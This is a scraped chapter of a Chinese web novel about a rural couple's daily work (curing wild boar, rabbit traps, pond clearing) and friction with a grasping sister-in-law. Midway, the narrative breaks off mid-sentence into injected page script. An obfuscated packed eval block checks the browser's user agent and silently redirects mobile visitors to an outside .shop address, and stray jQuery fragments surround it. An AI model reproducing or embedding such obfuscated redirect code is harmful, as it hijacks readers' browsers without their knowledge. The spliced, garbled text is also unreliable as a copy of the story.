文趣网 > 其他小说 > 山户家的小娘子 > 51. 第五十一章
    不过恼归恼,送走他们,引线还是听了他的,又回了屋里继续睡回笼觉养足精神。

    明日万一进山去抓兔子,她也不能拖后腿。

    等到下午回来,一头野猪已经被分成两大捆猪肉,除了猪血,其余的猪下水和猪尾巴按惯例给了屠户,又另付了四十文钱。

    陈江将肉放在砧板上分切,一面干活一面说:“一整只后腿给了李二姑,嫂子看了也想要,大哥非不要,还说要是被他知道大嫂收了,就让她弟弟来接她回娘家去。大嫂看大哥真动了气,这才罢了。”

    引线撇嘴,忍不住道:“打野猪的是你和虎子,李二姑收的是谢媒礼,她比什么?大哥好歹帮着刮了毛,按了腿,她什么都没干,就想凭一张嘴两句话就要走一条猪腿去,凭什么。”

    她还有话没说,也不晓得她这么维护娘家的架势,要是猪腿给了她,会不会转过头就分一大块带回去?早知道她这样贪得无厌,那袄皮的活就不该给她。

    陈江还是头一回看到她这样表达自己的不满,觉得新奇又觉得可爱,忍不住道:“你也会生气呀?”

    引线无语:“我又不是受气包,之前是因我爹偏帮吴娘子我才不争辩的,如今我都自己当家了还要受这样的气,岂不是让你们白辛苦一场了?”

    陈江当然明白她的处境,半是心疼半是高兴,又不想说些腻歪安慰的话,当然他也说不出口,所以心里暗暗想着一定要带着媳妇过上好日子,随后干脆转了话题,“后头清塘的时候大嫂要来帮忙,若你不愿意,我去跟大哥说这事,他会体谅的。”

    引线摇头:“我分得清轻重,大哥为了咱们的事忙前忙后,他们到底又是夫妻,就算是看在他的份上也不能这样干,到时候该怎么样就是怎么样不变,我会找个机会给大嫂拿一刀腌好的野猪肉,也让他们尝一尝。”

    有些事不好摆在台面上说,但心里都懂。

    这个时候樊氏要一条野猪腿,都是近邻,李二姑看到了怎么想?

    虽说樊氏是陈江大嫂,这理所当然,可作为正式谢媒礼的东西旁人两句好听话就得了,总归是心里不舒服的,且自然对这份谢媒礼就看轻了些。

    陈江明白她的苦心,也接受这份好意,点点头道:“家里的这些事,以及钱怎么用,不用问我,你想怎么做就怎么做,我都听你的。”

    引线也对他的态度很满意,点点头笑了。

    留了一大块这几日用来吃的五花肉,其余的连带猪腿都腌上盐放进三个大缸里,差点装不下。

    十月天气不算最冷,肉不能腌制太久,不过好在山里温度不高,最多三五天,等个天气晴朗的日头起肉挂晾,否则容易滑腻发霉。

    怕后面没时间,因而这两日要趁着进山的时候提前采集柏树枝回来晒一晒,到时候熏肉才入味。

    杀猪腌肉忙活半日,搭兔子窝棚又忙了半日,又是石块砌矮墙,又是劈竹打桩,一直到天黑下来才弄好。

    加上昨晚累了整宿,早上又起了大早,陈江再是铁打的身子也受不住,吃过饭后再没空折腾,沾枕头就着,一直到天色蒙蒙亮才起。

    天色还早,引线已经迫不及待起身对镜梳好了头,穿上干活用的青灰色旧衣旧裤。

    ……

    进山的时候,石虎走在前面,陈江殿后,怕小崽没娘干嚎,引线特意将谷子锁在家里不许乱跑。

    这会路上安静,只听得见三个人的脚步声。

    按往常的路径,从东面堰塘绕过掉个头,往西面去。

    走了一会,山上的动物还没苏醒,只有草虫乱叫,树梢上鸟儿叽叽喳喳闹开。

    走到一处下套的地方,石虎检查了一番,发现连兔子毛都没一根,起身示意继续走。

    没一会又到了一处更隐蔽的地方,就发现了两只套都收紧了,不知道蹬了多久腿的兔子看见来了人,立刻吓得就要逃窜,可已经进了套怎么可能跑得了,不过是徒劳,很快就被装进了粗竹笼子里。

    前几天下过雨,山里的路不容易干,又是早上有露水,越往里走越湿滑。

    陈江索性让石虎先带着兔子回去,自己和引线往里头走走,看最后两处下套的地方有无收获。

    若是没有,到时候砍一摞柴,采集一些柏树枝回去。

    石虎走后,两人换了个方向又走了一刻钟,这回的地方变成了一处小斜坡,陈江怕她滑倒,只让她留在原地等着。

    过了一会,陈江才回来,手里空空如也。

    另一处也不远,回来时他手里提着一只肥野鸭,倒挂在陈江手里,正扑棱翅膀。

    “已经有两只了,说不定是一公一母,还有这样一只肥野鸭,也不算没收获。”引线道。

    不来不知道,上山走一遭才晓得,石桥村的后山虽然和这片山接壤,山上的路和状况却大不一样,显然这片山的路更陡,地面更湿滑,草木更盛,树也格外粗壮些。

    陈江也不强求,拿出背在背后的斧头,四处望了望,找到已经倒下只有一线生机的干树断裂处就砍了起来,没十几下就热了,干脆将褂子脱掉露出上半身继续干活。

    引线看了一眼。

    男人结实的臂膀在干活的时候尤为明显,她不自觉想到紧箍住她腰不许她后退的也是这双臂和冒着青筋的大手,面上微微发热,赶紧挪开了眼,不许自己胡思乱想。

    她转头就拿着刀找了棵柏树砍枝,等差不多了,再找藤条将柏树枝收拢成一抱。

    如此反复,直到柏树枝足够多才停下,擦了把汗。

    多日没干这样彻底的活,除了一身的热汗,引线反倒觉得难得通身畅快,心里头的那些纷纷扰扰也随着一下一下的动作渐渐平静下来。

    这才是她想要过的日子,她想,最好就是没有大风大浪,大富大贵,只要两人心往一处使,日子总会越过越好,当然,一家平安就最最好。

    从山上下来,夫妻两人一个背柴,一个抱柏树枝,当然,引线只抱了一把,这还是她争来的,其余的都捆在了男人背上柴禾的最上头,从后面看,只看见他两条长腿。

    一回到家里,引线迫不及待去看方才那两只肥兔子。

    只见两只白毛的大兔子像回自己家一样,已经占据了昨日才修好的地窝里,警惕地用嘴巴动来动去,眼睛也看着站在围栏边张望的引线。

    野鸭被关进笼子乱叫起来,黑虎和花猫看着新奇,围着笼子左右转圈,想靠近又不敢,只因一靠近那野鸭就嘎嘎叫,这一闹,整个院子就热闹了起来。

    这一忙就是一个月,陈江陈河兄弟、石虎,以及另外请的三个村里的汉子,五个人又是刨树根,又是挖沟引空塘水,又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770292|205343||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是清淤泥,每日天稍许亮就开干,天黑透了才回来吃饭,很是辛苦。

    引线作为掌勺的也不拉后腿,早起就做中午的干粮送去,或是猪油渣菜包,或是薄肉蒸饼,水也不是清水,用的是干菊花泡的水,或者特意在井下湃过的酸梅汁……换着花样的安排。

    晚上那顿更是不含糊,今日炖野猪肉明日炖鸭后日烧鸡烧鱼,总之日日都有大荤,最差也是红烧肉,蒸饼也用了一瓢白面两瓢粗面,蒸出来的饼又细又白又软。

    当然了,细面粗面都是她爹叶望山送来的。

    他本来想帮忙,但家里有活实在走不开,叶锦砚又念书,只能将家里的面都送过来,算是出了一份力。

    三个汉子只能吃不能带走,因而回去后得意夸赞,又听说之后还要种果树养鱼,干活也很卖力,想着留个好印象,将来也能得这好活。

    他们这样,惹得其他人又是羡慕又是后悔,怎么自己当初没主动要来干活?否则现在能日日吃上肉和蒸饼的就是自己了。

    今日塘里彻底清空不多的淤泥,也抓了一桶鱼回来,为此将杂房里的旧浴桶搬出来养着,这些可都是自然长大的鱼,虽然个头不大,但土腥味不重不说还肉质鲜美,里头还混杂了十几条黄鳝,不过还需要等着放几日吐吐泥再吃。

    活干得差不多了,引线决定将最大的几条鱼炖出来招待辛苦了一月的众人。

    杀鱼的时候,樊氏躲去茅厕,等她杀完了才假意提着裤子回来。

    在外头忙着给大人跑来跑去递桶盆的陈青撞见这一幕,面红耳赤。

    引线无奈,这一个月里她说是来帮忙,实际上遇到麻烦的活她都躲清闲,也见怪不怪了。

    引线心里暗道,除了袄皮的事外,这是为了陈河最后一次容忍她。

    很快鱼肉下锅,香味也飘出了灶房和小院。

    樊氏烧着火,站起身来觑了一眼那一大锅鱼肉,还有灶台靠里面早就做好保热的一大盘蒸肉,面上挂着笑和引线商量。

    “弟妹,我才想起来陈青他舅舅今儿个来我家送东西了,下晌给我捎了信让我回去,我给忙忘了,只怕后头得你收拾……”

    她来了一月,要走了两块熏野猪肉,引线再没给过任何,她心里不高兴,先后顺走了三条五六斤重的鱼和两只烧鸡,借口亲爹捎信腿疼病犯了,让她回去看看。

    她怕陈河起疑心,一口气没歇连夜送去了娘家,爹娘和弟弟一家吃的满嘴流油,直夸她好,为此樊氏得意极了。

    她想着,今儿是最后一天,明儿个就没理由再来顺东西了,索性暗示引线给她些东西回去好招待自己弟弟。

    她只想着村里席面上帮忙的妇人等散席后都会得主家送一些吃食,自己忙活这么久,又是长嫂,叶二姐一个做弟妹的,自己就算再要两块肉几条鱼也不是什么事,遂说完后就一脸期待地看着引线。

    “大嫂这样急?先吃了饭再回去也不迟。”

    “虽说是我娘家弟弟,到底也是客,不好再让他久等。”见引线没有要说什么的意思,从灶门到灶房门也就几步的距离,她愣是磨蹭出了十几步。

    “大嫂等等。”引线擦了擦手,喊住她,面上带笑。

    樊氏方才还忐忑的心立刻高兴起来,连忙笑呵呵地转过头来。

    “弟妹你说。”